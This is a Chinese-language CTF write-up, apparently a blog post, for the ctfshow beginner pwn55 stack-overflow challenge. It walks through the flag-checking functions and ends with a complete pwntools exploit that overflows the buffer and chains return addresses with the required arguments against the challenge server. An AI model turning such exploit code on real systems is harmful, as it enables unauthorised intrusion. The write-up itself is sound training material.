ctfshow pwn入门 pwn55

我发现网上没有这一道题目的writeup,于是就写一下,给不太会的朋友一些帮助,这一题可以先分析一下流程

这里存在一个栈溢出漏洞。

fopen返回一个文件指针,然后读取48个长度到s里面,然后一个if判断flag1和flag2要为真,a1要等于0xBDBDBDBD就打印flag值。

我们可以看一下flag_func1()函数和flag_func2()函数,

flag1在flag_func1函数值为1,为真,而flag_func2函数需要a1=0xACACACAC,flag2就为真。

我们再看一下flag函数,

flag函数需要a1=0XBDBDBDBD,好了分析完了

所以EXP如下:

from pwn import *
context.log_level='debug'
#io=process('./pwn55')

io=remote('pwn.challenge.ctf.show', 28296)
io.recvuntil('Input your flag: ')
ebp=0x0804859b
i=0xBDBDBDBD
payload='a'*(0x2c+4)+p32(0x8048586)+p32(0x804859D)+p32(ebp)+p32(0xACACACAC)+p32(0x8048606)+p32(ebp)+p32(i)

io.sendline(payload)

io.interactive()

  • 10
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值